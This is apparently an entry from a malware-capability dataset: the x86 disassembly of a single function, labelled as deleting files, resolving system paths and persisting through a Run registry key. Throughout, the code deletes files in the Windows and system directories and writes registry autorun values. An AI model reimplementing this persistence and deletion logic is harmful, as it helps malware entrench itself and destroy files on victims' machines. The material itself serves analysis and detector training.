Function at 0x4058a0
Capabilities:
Delete file
Get common file path
Persist via run registry key

Disassembly:
push 0xffffffffffffffff
push 0x40a47b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x32c
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x10]
call fcn.00404310
mov ecx, dword [esp + 0x358]
xor eax, eax
cmp ecx, eax
mov dword [esp + 0x344], eax
mov dword [esp + 0x30], 0x80000002
mov dword [esp + 0x34], 0x80000001
mov dword [esp + 0x1c], eax
je 0x405e32
lea eax, [esp + 0x3c]
push 0xff
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x405a92
mov edi, 0x40ddb0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x3c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0xffffffffffffffff
push eax
and ecx, 3
lea eax, [esp + 0x48]
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.00404e80
add esp, 0x10
test eax, eax
je 0x405962
push 0x1f4
call ebp
lea ecx, [esp + 0x3c]
push ecx
call ebx
lea edx, [esp + 0x3c]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dda0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0xffffffffffffffff
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push ecx
call fcn.00404e80
add esp, 0x18
test eax, eax
je 0x4059b8
push 0x1f4
call ebp
lea edx, [esp + 0x3c]
push edx
call ebx
lea eax, [esp + 0x3c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dd90
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0xffffffffffffffff
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push ecx
call fcn.00404e80
add esp, 0x18
test eax, eax
je 0x405a0e
push 0x1f4
call ebp
lea edx, [esp + 0x3c]
push edx
call ebx
push 0
call fcn.00404600
add esp, 4
cmp eax, 0x14
jl 0x405a92
lea eax, [esp + 0x3c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dd80
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
lea ecx, [esp + 0x3c]
push ecx
call fcn.00405000
add esp, 4
test eax, eax
je 0x405a92
push 0
push 0xffffffffffffffff
lea edx, [esp + 0x44]
push 0
push edx
call fcn.00404e80
add esp, 0x10
push 0xc8
call ebp
lea eax, [esp + 0x3c]
push eax
call ebx
inc esi
cmp esi, 0x14
jl 0x405a5a
lea ecx, [esp + 0x3c]
push 0xff
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x405e32
mov edi, 0x40ddb0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x3c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0xffffffffffffffff
push eax
and ecx, 3
lea eax, [esp + 0x48]
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.00404e80
add esp, 0x10
test eax, eax
je 0x405af4
push 0x1f4
call ebp
lea ecx, [esp + 0x3c]
push ecx
call ebx
lea edx, [esp + 0x3c]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dda0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0xffffffffffffffff
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push ecx
call fcn.00404e80
add esp, 0x18
test eax, eax
je 0x405b4a
push 0x1f4
call ebp
lea edx, [esp + 0x3c]
push edx
call ebx
lea eax, [esp + 0x3c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dd70
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0xffffffffffffffff
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push ecx
call fcn.00404e80
add esp, 0x18
test eax, eax
je 0x405ba0
push 0x1f4
call ebp
lea edx, [esp + 0x3c]
push edx
call ebx
lea eax, [esp + 0x3c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dd60
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0xffffffffffffffff
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push ecx
call fcn.00404e80
add esp, 0x18
test eax, eax
je 0x405bf6
push 0x1f4
call ebp
lea edx, [esp + 0x3c]
push edx
call ebx
lea eax, [esp + 0x3c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dd50
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0xffffffffffffffff
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
push ecx
call fcn.00404e80
add esp, 0x18
test eax, eax
je 0x405c4c
push 0x1f4
call ebp
lea edx, [esp + 0x3c]
push edx
call ebx
lea eax, [esp + 0x3c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dd40
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
push ecx
call ebx
lea edx, [esp + 0x3c]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dd30
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
push ecx
call ebx
lea edx, [esp + 0x3c]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dd20
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
push ecx
call ebx
lea edx, [esp + 0x3c]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov edx, eax
or ecx, 0xffffffff
mov edi, 0x40dd10
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
push ecx
call ebx
lea edx, [esp + 0x3c]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dd08
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
push ecx
call ebx
lea edx, [esp + 0x3c]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dcf8
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
push ecx
call ebx
push 0
call fcn.00404600
add esp, 4
cmp eax, 0x14
jge 0x405e32
lea edx, [esp + 0x3c]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
mov edi, 0x40dd80
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
lea ecx, [esp + 0x3c]
push ecx
call fcn.00405000
add esp, 4
test eax, eax
je 0x405e32
push 0
push 0xffffffffffffffff
lea edx, [esp + 0x44]
push 0
push edx
call fcn.00404e80
add esp, 0x10
push 0xc8
call ebp
lea eax, [esp + 0x3c]
push eax
call ebx
inc esi
cmp esi, 0x14
jl 0x405dfa
mov ebp, dword [esp + 0x350]
lea ecx, [esp + 0x30]
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], ecx
mov edx, dword [esp + 0x20]
mov esi, 0x40d597
mov dword [esp + 0x28], esi
mov eax, dword [edx]
mov dword [esp + 0x2c], eax
mov ecx, dword [esp + 0x2c]
push 0xf003f
push esi
push ecx
lea ecx, [esp + 0x1c]
call fcn.00404460
test eax, eax
jne 0x406143
mov eax, dword [esp + 0x358]
test eax, eax
je 0x405f55
push 0
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dcec
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dce0
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dcd4
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dccc
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dcc4
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dcb4
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dca4
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dc94
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dc88
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dc7c
lea ecx, [esp + 0x14]
call fcn.004043c0
push 0x40dc6c
lea ecx, [esp + 0x14]
call fcn.004043c0
test eax, eax
je 0x405f42
push 0x40dc60
lea ecx, [esp + 0x14]
call fcn.004043c0
test eax, eax
jne 0x405f55
push 0x40dc60
push 0x40dc6c
lea ecx, [esp + 0x18]
call fcn.004045c0
test ebp, ebp
je 0x40611d
lea edx, [esp + 0x3c]
push 0xff
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x3c]
push ecx
push eax
push ebp
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x405fb5
mov ebx, dword [sym.imp.MSVCRT.dll_strrchr]
push 0x5c
push ebp
call ebx
add esp, 8
test eax, eax
je 0x405fbb
push 0x5c
push ebp
call ebx
mov edi, eax
add esp, 8
inc edi
lea edx, [esp + 0x13c]
jmp 0x405fc4
mov ebx, dword [sym.imp.MSVCRT.dll_strrchr]
lea edx, [esp + 0x13c]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 0x40d240
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14c]
push ecx
call fcn.004024d0
add esp, 0x14
test eax, eax
je 0x40601e
push 1
push 0
push 0
lea edx, [esp + 0x148]
push 0x40d240
push edx
call fcn.004024d0
add esp, 0x14
mov byte [eax], 0
mov edi, dword [esp + 0x34c]
test edi, edi
jne 0x40608a
push 0x5c
push ebp
call ebx
add esp, 8
test eax, eax
je 0x406046
push 0x5c
push ebp
call ebx
mov edi, eax
add esp, 8
inc edi
lea edx, [esp + 0x3c]
jmp 0x40604c
lea edx, [esp + 0x3c]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x2e
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x40]
push ecx
call ebx
add esp, 8
test eax, eax
je 0x4060ab
lea edx, [esp + 0x3c]
push 0x2e
push edx
call ebx
add esp, 8
mov byte [eax], 0
jmp 0x4060ab
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x3c]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38]
lea edx, [esp + 0x3c]
push ecx
lea eax, [esp + 0x240]
push edx
push eax
lea ecx, [esp + 0x1c]
call fcn.00404500
test eax, eax
jne 0x4060f1
lea ecx, [esp + 0x23c]
lea edx, [esp + 0x13c]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x4060f1
mov dword [esp + 0x1c], 0xffffffff
jmp 0x406136
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x13c]
push eax
push ecx
lea ecx, [esp + 0x18]
call fcn.004045c0
test eax, eax
jne 0x406136
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x406136
mov dword [esp + 0x1c], 1
jmp 0x406136
mov edx, dword [esp + 0x34c]
lea ecx, [esp + 0x10]
push edx
mov dword [esp + 0x20], 1
call fcn.004043c0
lea ecx, [esp + 0x10]
call fcn.004043e0
mov esi, dword [esp + 0x28]
mov eax, dword [esp + 0x354]
test eax, eax
je 0x40617e
add esi, 0x37
cmp esi, 0x40d605
mov dword [esp + 0x28], esi
jl 0x405e5c
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
inc eax
add edx, 4
cmp eax, 2
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], edx
jl 0x405e49
lea ecx, [esp + 0x10]
mov dword [esp + 0x344], 0xffffffff
call fcn.00404350
mov ecx, dword [esp + 0x33c]
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x338
ret